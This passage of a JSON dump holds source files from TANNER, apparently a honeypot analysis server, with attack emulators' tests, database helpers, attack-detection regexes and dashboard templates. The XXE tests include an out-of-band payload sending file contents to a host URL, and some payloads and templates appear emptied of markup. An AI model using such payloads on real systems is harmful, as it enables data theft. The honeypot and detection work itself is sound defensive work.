dict(value=attack_params[0][\"value\"], page=True)\n self.assertDictEqual(xss, assert_result)\n" }, { "path": "tanner/tests/test_xxe_injection.py", "content": "import asyncio\nimport unittest\n\nfrom unittest import mock\nfrom tanner import config\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.xxe_injection import XXEInjection\n\n\nclass TestXXEInjection(unittest.TestCase):\n def setUp(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(None)\n self.handler = XXEInjection(loop=self.loop)\n self.result = None\n self.expected_result = None\n self.returned_result = None\n\n def test_scan(self):\n payload = '' \"\"\n\n self.expected_result = dict(name=\"xxe_injection\", order=3)\n self.returned_result = self.handler.scan(payload)\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_scan_negative(self):\n payload = ']>'\n\n self.expected_result = None\n self.returned_result = self.handler.scan(payload)\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_handle_status_code(self):\n self.handler.get_injection_result = AsyncMock(return_value=None)\n\n attack_params = [dict(id=\"foo\", value=']>')]\n self.expected_result = dict(status_code=504)\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_handle(self):\n config.TannerConfig.get = mock.MagicMock(return_value=False)\n\n code = (\n ''\n \"\"\n ']>'\n \"&xxe;\"\n )\n\n attack_params = [dict(id=\"foo\", value=code)]\n self.handler.helper.get_result = AsyncMock(\n return_value={\n \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n }\n )\n\n self.expected_result = \"root:x:0:0:root:/root:/bin/bash\"\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertIn(self.expected_result, self.returned_result[\"value\"])\n\n def test_handle_oob(self):\n config.TannerConfig.get = mock.MagicMock(return_value=True)\n\n code = (\n ''\n \"\"\n ''\n \"\"\n '\"http://192.168.1.1:8080/?p=%xxe;\">\\'> '\n )\n\n attack_params = [dict(id=\"OOB\", value=code)]\n self.handler.helper.get_result = AsyncMock(\n return_value={\n \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n }\n )\n\n self.expected_result = \"\"\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertEqual(self.returned_result[\"value\"], self.expected_result)\n" }, { "path": "tanner/utils/__init__.py", "content": "" }, { "path": "tanner/utils/aiodocker_helper.py", "content": "import aiodocker\nimport logging\n\nfrom tanner.config import TannerConfig\n\n\nclass AIODockerHelper:\n def __init__(self):\n\n self.logger = logging.getLogger(\"tanner.aiodocker_helper.AIODockerHelper\")\n\n self.docker_client = aiodocker.Docker()\n self.host_image = TannerConfig.get(\"DOCKER\", \"host_image\")\n\n async def setup_host_image(self, remote_path=None, tag=None):\n \"\"\"\n Helper to pull host image or build an image with remote Dockerfile\n :param remote_path (str): remote path of Dockerfile\n :param tag (str): tag to be given to new image build ex: 'myimage:latest'\n \"\"\"\n\n try:\n if remote_path and tag is not None:\n params = {\"tag\": tag, \"remote\": remote_path}\n await self.docker_client.images.build(**params)\n\n else:\n image = await self.docker_client.images.list(filter=self.host_image)\n if not image:\n await self.docker_client.images.pull(self.host_image)\n\n except aiodocker.exceptions.DockerError as docker_error:\n self.logger.exception(\"Error while pulling %s image %s\", self.host_image, docker_error)\n\n async def get_container(self, container_name):\n \"\"\"\n Gets the container object having specified name\n :param container_name (str): name of the target container\n :return: container (object)\n \"\"\"\n container = None\n try:\n container = await self.docker_client.containers.get(container=container_name)\n\n except aiodocker.exceptions.DockerError as server_error:\n self.logger.exception(\"Error while fetching %s container %s\", container_name, server_error)\n return container\n\n async def create_container(self, container_name, cmd=None, image=None):\n \"\"\"\n Helper to create or replace a container (initially pulls the given image)\n :param container_name (str): name to be given to new container or replace existing if any\n :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n :param image (str): name of image to be used\n :return: container (object): newly created container object\n \"\"\"\n await self.setup_host_image()\n container = None\n if image is None:\n image = self.host_image\n\n config = {\"Cmd\": cmd, \"Image\": image}\n try:\n container = await self.docker_client.containers.create_or_replace(config=config, name=container_name)\n\n except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as docker_error:\n self.logger.exception(\"Error while creating a container %s\", docker_error)\n return container\n\n async def execute_cmd(self, cmd, image=None):\n \"\"\"\n Creates a new container, runs the cmd in it and deletes the used container\n :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n :param image (str): name of image to be used\n :return: execute_result (str): execution output/errors of cmd from the container\n \"\"\"\n execute_result = None\n try:\n if image is None:\n image = self.host_image\n\n config = {\"Cmd\": cmd, \"Image\": image}\n container = await self.docker_client.containers.run(config=config)\n\n await container.wait()\n result_exists = await container.log(stdout=True, stderr=True)\n if result_exists:\n execute_result = \"\".join(result_exists)\n\n # Deleting the used container\n await container.delete(force=True)\n\n except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as server_error:\n self.logger.error(\"Error while executing command %s in container %s\", cmd, server_error)\n return execute_result\n\n async def delete_container(self, container_name):\n \"\"\"\n Delete an existing container\n :param container_name (str): name of container to be deleted\n \"\"\"\n container = await self.get_container(container_name)\n try:\n if container:\n await container.delete(force=True)\n except aiodocker.exceptions.DockerError as server_error:\n self.logger.exception(\"Error while removing %s container %s\", container_name, server_error)\n" }, { "path": "tanner/utils/api_key_generator.py", "content": "import jwt\nfrom tanner.config import TannerConfig\n\n\ndef generate():\n key = TannerConfig.get(\"API\", \"auth_signature\")\n encoded = jwt.encode({\"user\": \"tanner_owner\"}, key, algorithm=\"HS256\")\n return encoded.decode(\"utf-8\")\n" }, { "path": "tanner/utils/asyncmock.py", "content": "from unittest.mock import Mock\n\n\nclass AsyncMock(Mock): # custom function defined to mock asyncio coroutines\n def __call__(self, *args, **kwargs):\n sup = super(AsyncMock, self)\n\n async def coro():\n return sup.__call__(*args, **kwargs)\n\n return coro()\n\n def __await__(self):\n return self().__await__()\n" }, { "path": "tanner/utils/base_db_helper.py", "content": "import json\nimport logging\nimport random\n\nimport mimesis\n\nfrom tanner.config import TannerConfig\n\n\nclass BaseDBHelper:\n def __init__(self):\n self.logger = logging.getLogger(\"tanner.base_db_helper.BaseDBHelper\")\n\n def read_config(self):\n with open(TannerConfig.get(\"DATA\", \"db_config\")) as db_config:\n try:\n config = json.load(db_config)\n except json.JSONDecodeError as json_error:\n self.logger.info(\"Failed to load json: %s\", json_error)\n else:\n return config\n\n @staticmethod\n def generate_dummy_data(data_tokens):\n \"\"\"\n Insert dummy data based on data tokens\n I - integer id\n L - login/username\n E - email\n P - password\n T - piece of text\n :return:\n \"\"\"\n\n token_list = data_tokens.split(\",\")\n\n samples_count = random.randint(100, 1000)\n inserted_data = []\n for i in range(samples_count):\n values = []\n person = mimesis.Person(\"en\")\n for token in token_list:\n person = mimesis.Person()\n if token == \"I\":\n values.append(i)\n if token == \"L\":\n data = person.username()\n values.append(data)\n if token == \"E\":\n data = person.email()\n values.append(data)\n if token == \"P\":\n data = person.password()\n values.append(data)\n if token == \"T\":\n sample_length = random.randint(1, 10)\n data = mimesis.Text().text(quantity=sample_length)\n values.append(data)\n inserted_data.append(tuple(values))\n\n return inserted_data, token_list\n" }, { "path": "tanner/utils/logger.py", "content": "import logging\nimport logging.handlers\n\nfrom tanner.config import TannerConfig\n\n\nclass LevelFilter(logging.Filter):\n \"\"\"Filters (lets through) all messages with level < LEVEL\"\"\"\n\n def __init__(self, level):\n self.level = level\n\n def filter(self, record):\n # \"<\" instead of \"<=\": since logger.setLevel is inclusive, this should be exclusive\n return record.levelno < self.level\n\n\nclass Logger:\n @staticmethod\n def create_logger(debug_filename, err_filename, logger_name):\n if TannerConfig.get(\"CLEANLOG\", \"enabled\") == \"True\":\n with open(err_filename, \"w\"):\n pass\n\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.DEBUG)\n logger.propagate = False\n formatter = logging.Formatter(\n fmt=\"%(asctime)s %(levelname)s:%(name)s:%(funcName)s: %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\"\n )\n\n # ERROR log to 'tanner.err'\n error_log_handler = logging.handlers.RotatingFileHandler(err_filename, encoding=\"utf-8\")\n error_log_handler.setLevel(logging.ERROR)\n error_log_handler.setFormatter(formatter)\n logger.addHandler(error_log_handler)\n\n # DEBUG log to 'tanner.log'\n debug_log_handler = logging.handlers.RotatingFileHandler(debug_filename, encoding=\"utf-8\")\n debug_log_handler.setLevel(logging.DEBUG)\n debug_log_handler.setFormatter(formatter)\n max_level_filter = LevelFilter(logging.ERROR)\n debug_log_handler.addFilter(max_level_filter)\n logger.addHandler(debug_log_handler)\n\n return logger\n" }, { "path": "tanner/utils/mysql_db_helper.py", "content": "import logging\nimport subprocess\nimport aiomysql\n\nfrom tanner.config import TannerConfig\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass MySQLDBHelper(BaseDBHelper):\n\n # Helper Utility of basic functions for mysqli emulator\n\n def __init__(self):\n super(MySQLDBHelper, self).__init__()\n self.logger = logging.getLogger(\"tanner.db_helper.MySQLDBHelper\")\n\n async def connect_to_db(self):\n \"\"\"\n Creates a aiomysql connection\n :return: connection object\n \"\"\"\n\n conn = await aiomysql.connect(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n )\n return conn\n\n async def check_db_exists(self, db_name):\n \"\"\"\n Checks if DB exists or not\n :param db_name (str): mysql db name\n :return: result (int): 0 if no such database exists else 1\n \"\"\"\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n check_DB_exists_query = \"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA \"\n check_DB_exists_query += \"WHERE SCHEMA_NAME='{db_name}'\".format(db_name=db_name)\n await cursor.execute(check_DB_exists_query)\n result = await cursor.fetchall()\n return len(result)\n\n async def setup_db_from_config(self, name=None):\n \"\"\"\n Helper function to setup DB from db_config.json and inserts dummy data in the created DB.\n :param name (str): database name\n \"\"\"\n\n config = self.read_config()\n if name is not None:\n db_name = name\n else:\n db_name = config[\"name\"]\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n create_db_query = \"CREATE DATABASE {db_name}\"\n await cursor.execute(create_db_query.format(db_name=db_name))\n await cursor.execute(\"USE {db_name}\".format(db_name=db_name))\n\n for table in config[\"tables\"]:\n query = table[\"schema\"]\n await cursor.execute(query)\n await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n await conn.commit()\n\n conn.close()\n\n async def delete_db(self, db):\n \"\"\"\n Deletes the database\n :param db (str): db name to be deleted\n \"\"\"\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n delete_db_query = \"DROP DATABASE {db_name}\"\n await cursor.execute(delete_db_query.format(db_name=db))\n await conn.commit()\n conn.close()\n\n async def copy_db(self, user_db, attacker_db):\n \"\"\"\n Copies the user database to new attacker database\n :param user_db (str): existing user db\n :param attacker_db (str): new db to be created\n :return: new created db (str)\n \"\"\"\n\n db_exists = await self.check_db_exists(attacker_db)\n if db_exists:\n self.logger.info(\"Attacker db already exists\")\n else:\n # create new attacker db\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n await cursor.execute(\"CREATE DATABASE {db_name}\".format(db_name=attacker_db))\n conn.close()\n # copy user db to attacker db\n dump_db_cmd = \"mysqldump -h {host} -u {user} -p{password} {db_name}\"\n restore_db_cmd = \"mysql -h {host} -u {user} -p{password} {db_name}\"\n dump_db_cmd = dump_db_cmd.format(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n db_name=user_db,\n )\n restore_db_cmd = restore_db_cmd.format(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n db_name=attacker_db,\n )\n try:\n dump_db_process = subprocess.Popen(dump_db_cmd, stdout=subprocess.PIPE, shell=True)\n restore_db_process = subprocess.Popen(restore_db_cmd, stdin=dump_db_process.stdout, shell=True)\n dump_db_process.stdout.close()\n dump_db_process.wait()\n restore_db_process.wait()\n except subprocess.CalledProcessError as e:\n self.logger.exception(\"Error during copying sql database : %s\" % e)\n return attacker_db\n\n async def insert_dummy_data(self, table_name, data_tokens, cursor):\n \"\"\"\n Inserts dummy data in the table based on input data tokens for ex: 'I,L'\n :param table_name (str): table in which data to be inserted\n :param data_tokens (str): input data format tokens\n :param cursor (object): current db cursor\n \"\"\"\n\n inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n inserted_string_patt = \"%s\"\n if len(token_list) > 1:\n inserted_string_patt += \",\"\n inserted_string_patt *= len(token_list)\n inserted_string_patt = inserted_string_patt[:-1]\n\n await cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n async def create_query_map(self, db_name):\n \"\"\"\n Returns a query map of the tables and its columns present in the database\n :param db_name (str): current database\n :return: query_map (dict): Created Query Map\n \"\"\"\n\n query_map = {}\n tables = []\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n\n select_tables = \"SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema= '{db_name}'\"\n\n try:\n await cursor.execute(select_tables.format(db_name=db_name))\n result = await cursor.fetchall()\n for row in result:\n tables.append(row[0])\n except Exception as e:\n self.logger.exception(\"Error during query map creation\")\n else:\n query_map = dict.fromkeys(tables)\n for table in tables:\n query = \"SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE \\\n table_name= '{table_name}' AND table_schema= '{db_name}'\"\n\n columns = []\n try:\n await cursor.execute(query.format(table_name=table, db_name=db_name))\n result = await cursor.fetchall()\n for row in result:\n if row[7] == \"int\":\n columns.append(dict(name=row[3], type=\"INTEGER\"))\n else:\n columns.append(dict(name=row[3], type=\"TEXT\"))\n query_map[table] = columns\n except Exception:\n self.logger.exception(\"Error during query map creation\")\n return query_map\n" }, { "path": "tanner/utils/patterns.py", "content": "import re\n\nINDEX = re.compile(r\"(/index.html|/)\")\nRFI_ATTACK = re.compile(r\".*((http(s){0,1}|ftp(s){0,1}):).*\", re.IGNORECASE)\nLFI_ATTACK = re.compile(r\".*(/\\.\\.)*(home|proc|usr|etc)/.*\")\nLFI_FILEPATH = re.compile(r\"((\\.\\.|/).*)\")\nCMD_ATTACK = re.compile(\n r\".*[^A-z:./]\"\n r\"(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while)\"\n r\"([^A-z:./]|\\b)\"\n)\nPHP_CODE_INJECTION = re.compile(r\".*(;)*(echo|system|print|phpinfo)(\\(.*\\)).*\")\nPHP_OBJECT_INJECTION = re.compile(r\"(^|;|{|})O:[0-9]+:\")\nCRLF_ATTACK = re.compile(r\".*(\\r\\n).*\")\nXXE_INJECTION = re.compile(r\".*<(\\?xml|(!DOCTYPE.*)).*>\")\nTEMPLATE_INJECTION_MAKO = re.compile(r\".*(<%.*|\\s%>).*\")\nTEMPLATE_INJECTION_TORNADO = re.compile(r\".*({{.*}}).*\")\nXSS_ATTACK = re.compile(r\".*<(.|\\n)*?>\")\nREMOTE_FILE_URL = re.compile(r\"(.*(http(s){0,1}|ftp(s){0,1}):.*)\")\nWORD_PRESS_CONTENT = re.compile(r\"/wp-content/.*\")\nHTML_TAGS = re.compile(r\".*<(.*)>.*\")\nQUERY = re.compile(r\".*\\?.*=\")\n" }, { "path": "tanner/utils/php_sandbox_helper.py", "content": "import logging\nimport asyncio\nimport aiohttp\nfrom tanner import config\n\n\nclass PHPSandboxHelper:\n def __init__(self, loop):\n self.logger = logging.getLogger(\"tanner.php_sandbox_helper.PHPSandboxHelper\")\n self._loop = loop if loop is not None else asyncio.get_event_loop()\n\n async def get_result(self, code):\n \"\"\"\n Helper utility to get injection results from PHPOX\n :param code: Payload from the attacker to be injected in vulnerable code\n :return: Dict object containing file_md5 and stdout - contains injection results\n \"\"\"\n result = None\n\n phpox_address = \"http://{host}:{port}\".format(\n host=config.TannerConfig.get(\"PHPOX\", \"host\"), port=config.TannerConfig.get(\"PHPOX\", \"port\")\n )\n\n try:\n async with aiohttp.ClientSession(loop=self._loop) as session:\n async with session.post(phpox_address, data=code) as resp:\n result = await resp.json()\n except aiohttp.ClientError as client_error:\n self.logger.error(\"Error during connection to php sandbox %s\", client_error)\n finally:\n await session.close()\n return result\n" }, { "path": "tanner/utils/sqlite_db_helper.py", "content": "import logging\nimport os\nimport shutil\nimport sqlite3\n\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass SQLITEDBHelper(BaseDBHelper):\n def __init__(self):\n super(SQLITEDBHelper, self).__init__()\n self.logger = logging.getLogger(\"tanner.sqlite_db_helper.SQLITEDBHelper\")\n\n async def setup_db_from_config(self, working_dir, name=None):\n \"\"\"\n Creates database using config (dict object containing name and tables as keys)\n :param working_dir: Current working directory\n :param name: Name of database to be created\n \"\"\"\n config = self.read_config()\n if name is not None:\n db_name = os.path.join(working_dir, name)\n else:\n db_name = os.path.join(working_dir, config[\"name\"])\n\n conn = sqlite3.connect(db_name)\n cursor = conn.cursor()\n for table in config[\"tables\"]:\n query = table[\"schema\"]\n cursor.execute(query)\n await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n conn.commit()\n\n conn.close()\n\n @staticmethod\n def get_abs_path(path, working_dir):\n \"\"\"\n Returns the full path with working directory\n :param path (str): Current path\n :param working_dir (str): Current working directory\n :return: str of full path\n \"\"\"\n if not os.path.isabs(path):\n path = os.path.normpath(os.path.join(working_dir, path))\n return path\n\n @staticmethod\n def delete_db(db):\n if db is not None and os.path.exists(db):\n os.remove(db)\n\n def copy_db(self, src, dst, working_dir):\n src = self.get_abs_path(src, working_dir)\n dst = self.get_abs_path(dst, working_dir)\n if os.path.exists(dst):\n self.logger.info(\"Attacker db already exists\")\n else:\n shutil.copy(src, dst)\n return dst\n\n async def insert_dummy_data(self, table_name, data_tokens, cursor):\n \"\"\"\n Inserts Dummy data in the current sqlite database\n :param table_name (str): Table to inject dummy data\n :param data_tokens (str): Tokens to generate dummy data, eg: 'I,L' to get integer ID and username data\n :param cursor (object): Cursor attached with current DB\n \"\"\"\n inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n inserted_string_patt = \"?\"\n if len(token_list) > 1:\n inserted_string_patt += \",\"\n inserted_string_patt *= len(token_list)\n inserted_string_patt = inserted_string_patt[:-1]\n\n cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n def create_query_map(\n self,\n working_dir,\n db_name,\n ):\n \"\"\"\n Returns a query map from all the present tables and its columns\n :param working_dir (str): Current working directory\n :param db_name (str): Current sqlite database\n :return: Dict object with tables names as keys and list of columns as its values\n \"\"\"\n query_map = {}\n tables = []\n\n db = os.path.join(working_dir, db_name)\n conn = sqlite3.connect(db)\n cursor = conn.cursor()\n\n select_tables = \"SELECT name FROM sqlite_master WHERE type='table'\"\n\n try:\n for row in cursor.execute(select_tables):\n tables.append(row[0])\n except sqlite3.OperationalError as sqlite_error:\n self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n else:\n query_map = dict.fromkeys(tables)\n for table in tables:\n query = \"PRAGMA table_info(\" + table + \")\"\n columns = []\n try:\n for row in cursor.execute(query):\n columns.append(dict(name=row[1], type=row[2]))\n query_map[table] = columns\n except sqlite3.OperationalError as sqlite_error:\n self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n return query_map\n" }, { "path": "tanner/web/__init__.py", "content": "" }, { "path": "tanner/web/server.py", "content": "import asyncio\nimport logging\nimport aiohttp_jinja2\nimport jinja2\n\nfrom aiohttp import web\nfrom tanner.api import api\nfrom tanner import redis_client\nfrom tanner.config import TannerConfig\nfrom tanner import __version__ as tanner_version\n\n\nclass TannerWebServer:\n def __init__(self):\n self.logger = logging.getLogger(\"tanner.web.tannerwebserver\")\n self.api = None\n self.redis_client = None\n\n @aiohttp_jinja2.template(\"index.html\")\n async def handle_index(self, request):\n snares = await self.api.return_snares()\n latest_session = await self.api.return_latest_session()\n count = len(snares)\n return {\"count\": count, \"l_session\": latest_session, \"version\": tanner_version}\n\n @aiohttp_jinja2.template(\"snares.html\")\n async def handle_snares(self, request):\n snares = await self.api.return_snares()\n return {\"snares\": snares}\n\n @aiohttp_jinja2.template(\"snare.html\")\n async def handle_snare(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n return {\"snare\": snare_uuid}\n\n @aiohttp_jinja2.template(\"snare-stats.html\")\n async def handle_snare_stats(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n snare_stats = await self.api.return_snare_stats(snare_uuid)\n return {\"snare_stats\": snare_stats}\n\n @aiohttp_jinja2.template(\"sessions.html\")\n async def handle_sessions(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n page_id = int(request.match_info[\"page_id\"])\n params = request.url.query\n applied_filters = {\"snare_uuid\": snare_uuid}\n try:\n if \"filters\" in params:\n for filt in params[\"filters\"].split():\n applied_filters[filt.split(\":\")[0]] = filt.split(\":\")[1]\n if \"start_time\" in applied_filters:\n applied_filters[\"start_time\"] = float(applied_filters[\"start_time\"])\n if \"end_time\" in applied_filters:\n applied_filters[\"end_time\"] = float(applied_filters[\"end_time\"])\n except Exception as e:\n self.logger.exception(\"Filter error : %s\" % e)\n result = \"Invalid filter definition\"\n else:\n sessions = await self.api.return_sessions(applied_filters)\n result = sessions[15 * (page_id - 1) : 15 * page_id]\n next_val = None\n pre_val = None\n if page_id * 15 <= len(sessions):\n next_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n snare_uuid=snare_uuid, page_id=str(page_id + 1)\n )\n if len(applied_filters) > 1:\n next_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n if page_id > 1:\n pre_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n snare_uuid=snare_uuid, page_id=str(page_id - 1)\n )\n if len(applied_filters) > 1:\n pre_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n\n return {\"sessions\": result, \"next_val\": next_val, \"pre_val\": pre_val}\n\n @aiohttp_jinja2.template(\"session.html\")\n async def handle_session_info(self, request):\n sess_uuid = request.match_info[\"sess_uuid\"]\n session = await self.api.return_session_info(sess_uuid)\n return {\"session\": session}\n\n async def on_shutdown(self, app):\n await self.redis_client.close()\n\n def setup_routes(self, app):\n app.router.add_get(\"/\", self.handle_index)\n app.router.add_get(\"/snares\", self.handle_snares)\n app.router.add_resource(\"/snare/{snare_uuid}\").add_route(\"GET\", self.handle_snare)\n app.router.add_resource(\"/snare-stats/{snare_uuid}\").add_route(\"GET\", self.handle_snare_stats)\n app.router.add_resource(\"/session/{sess_uuid}\").add_route(\"GET\", self.handle_session_info)\n app.router.add_resource(\"/{snare_uuid}/sessions/page/{page_id}\").add_route(\"GET\", self.handle_sessions)\n app.router.add_static(\"/static/\", path=\"tanner/web/static\")\n\n async def make_app(self):\n app = web.Application()\n aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader(\"tanner/web/templates\"))\n app.on_shutdown.append(self.on_shutdown)\n self.setup_routes(app)\n return app\n\n def start(self):\n loop = asyncio.get_event_loop()\n self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20))\n self.api = api.Api(self.redis_client)\n\n host = TannerConfig.get(\"WEB\", \"host\")\n port = int(TannerConfig.get(\"WEB\", \"port\"))\n web.run_app(self.make_app(), host=host, port=port)\n" }, { "path": "tanner/web/static/css/styles.css", "content": "table {\n border-collapse: collapse;\n width: 80%;\n}\n\nth, td {\n padding: 8px;\n text-align: left;\n border-bottom: 1px solid #ddd;\n}\n\ntr:hover{\n\tbackground-color:#f5f5f5\n}" }, { "path": "tanner/web/static/js/site.js", "content": "function findGetParameter(parameterName) {\n var result = null,\n tmp = [];\n location.search\n .substr(1)\n .split(\"&\")\n .forEach(function (item) {\n tmp = item.split(\"=\");\n if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]);\n });\n return result;\n}\ndocument.getElementById('filters').value = findGetParameter(\"filters\");" }, { "path": "tanner/web/templates/base.html", "content": "\n\n\n\t\n\t
\n\t\t\t\n\t\t\t\tHome\n\t\t\t\n\t\t\t|\n\t\t\t\n\t\t\t\tDocs\n\t\t\t\n\t
\n\n\n\t\n\t{% block content%}\n\t{% endblock%}\n
\n\n\n"
},
{
"path": "tanner/web/templates/index.html",
"content": "{% extends \"base.html\" %}\n{% block title %}Home{% endblock %}\n{% block content %}\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t
\n\t\t\t
\n\t\t\tTannerweb
\n\t\t\t\n\t\t\t
\n\t\t\t\t
\n\t\t\tTanner version - {{version}}
\n\t\t\t\tNo. of snares connected - {{count}}
\n {% if l_session is not none %}\nLatest session - {{l_session}}
\n {% endif %}\n\t\t\t\n\t\t\t\t
\n\t\t\t\t
\n\t\t\n\t\n{% endblock %}\n"
},
{
"path": "tanner/web/templates/session.html",
"content": "{% extends \"base.html\" %}\n{% block title %}Session({{session.sess_uuid}}){% endblock %}\n{% block content %}\n\n\n\n\t\t\t\t
\n\t\t\t\t\tClick\n\t\t\t\t\n\t\t\t\t\there\n\t\t\t\t\n\t\t\t\t\tto navigate to the snares list.\n\t\t\t\t
\n\t\t\tSESSION INFO
\n| Key | \nValue | \n
|---|---|
| UUID | \n{{session.sess_uuid}} | \n
| IP | \n{{session.peer_ip}} | \n
| Location | \n{{session.location}} | \n
| Port | \n{{session.peer_port}} | \n
| User Agents | \n{{session.user_agent}} | \n
| Snare UUID | \n{{session.snare_uuid}} | \n
| Start time | \n{{session.start_time}} | \n
| End time | \n{{session.end_time}} | \n
| Requests/sec | \n{{session.requests_in_second}} | \n
| Time between requests | \n{{session.approx_time_between_requests}} | \n
| Paths | \n{{session.accepted_paths}} | \n
| Errors | \n{{session.errors}} | \n
| Hidden Links | \n{{session.hidden_links}} | \n
| Attacks | \n\n {% for attack, v in session.attack_count.items() %}\n {{attack}} - {{v}} \n {% endfor %}\n | \n
| Paths | \n\n {% for path in session.paths %}\n {{path}} \n {% endfor %}\n | \n
| Cookies | \n\n {% for key, val in session.cookies.items() %}\n {{key}} : {{val}} \n {% endfor %}\n | \n
| Referer | \n{{session.referer}} | \n
| Possible Owners | \n\n {% for owner, cf in session.possible_owners.items() %}\n {{owner}} : {{cf}} \n {% endfor %}\n | \n
SNARE-SESSIONS
\n\n \n
\n| No | \nSession-uuid | \nIP | \nOwner | \n
|---|---|---|---|
| {{loop.index}} | \n{{sess.sess_uuid}} | \n{{sess.peer_ip}} | \n{{sess.possible_owners|join(', ')}} | \n
\n\n\n{% endblock %}" }, { "path": "tanner/web/templates/snare-stats.html", "content": "{% extends \"base.html\" %}\n{% block title %}SNARE-STATS{% endblock %}\n{% block content %}\n
SNARE-STATS
\n| Key | \nValue | \n
|---|---|
| No of Sessions | \n {% if 'total_sessions' in snare_stats %}\n{{snare_stats.total_sessions}} | \n {% endif %}\n
| Total Duration | \n {% if 'total_duration' in snare_stats %}\n{{snare_stats.total_duration}} | \n {% endif %}\n
| Attack Frequency | \n\n {% if 'attack_frequency' in snare_stats %}\n {% for key, val in snare_stats.attack_frequency.items() %}\n {{key}} : {{val}} \n {% endfor %}\n {% endif %}\n | \n
{{snare}}
\nSnare-Stats
\nSessions
\n{% endblock %}" }, { "path": "tanner/web/templates/snares.html", "content": "{% extends \"base.html\" %}\n{% block title %}Snares{% endblock %}\n{% block content %}\nSNARE-UUIDS
\n| No | \nSnare-uuid | \n
|---|---|
| {{loop.index}} | \n{{snare}} | \n